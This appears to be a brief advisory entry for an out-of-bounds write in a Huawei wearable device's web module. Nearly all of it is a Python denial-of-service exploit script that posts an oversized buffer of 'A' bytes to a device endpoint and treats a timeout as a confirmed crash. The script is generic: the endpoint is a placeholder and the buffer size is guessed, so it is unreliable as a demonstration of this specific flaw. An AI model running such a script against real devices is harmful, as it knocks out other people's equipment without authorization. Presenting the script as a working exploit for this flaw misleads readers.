Out-of-bounds write vulnerability in the WEB module.Impact: Successful exploitation of this vulnerability will affect availability and confidentiality.
The following code is for security research and authorized testing only.
python
import requests
# Target URL of the vulnerable Huawei wearable device web interface
target_url = "http://192.168.1.100/cgi-bin/vulnerable_endpoint"
# Malicious payload designed to trigger the out-of-bounds write
# Adjust length based on specific buffer size requirements (e.g., 4096 bytes)
payload = b"A" * 5000
headers = {
"User-Agent": "CVE-2026-34865-Exploit",
"Content-Type": "application/octet-stream"
}
try:
print(f"[+] Sending payload to {target_url}...")
response = requests.post(target_url, data=payload, headers=headers, timeout=5)
# Check if the device responds (likely crashed or unresponsive)
if response.status_code == 200:
print("[-] Exploit sent, but service might still be running.")
else:
print(f"[+] Response received: {response.status_code}")
except requests.exceptions.Timeout:
print("[+] Connection timed out. The device may have crashed (DoS confirmed).")
except Exception as e:
print(f"[!] An error occurred: {e}")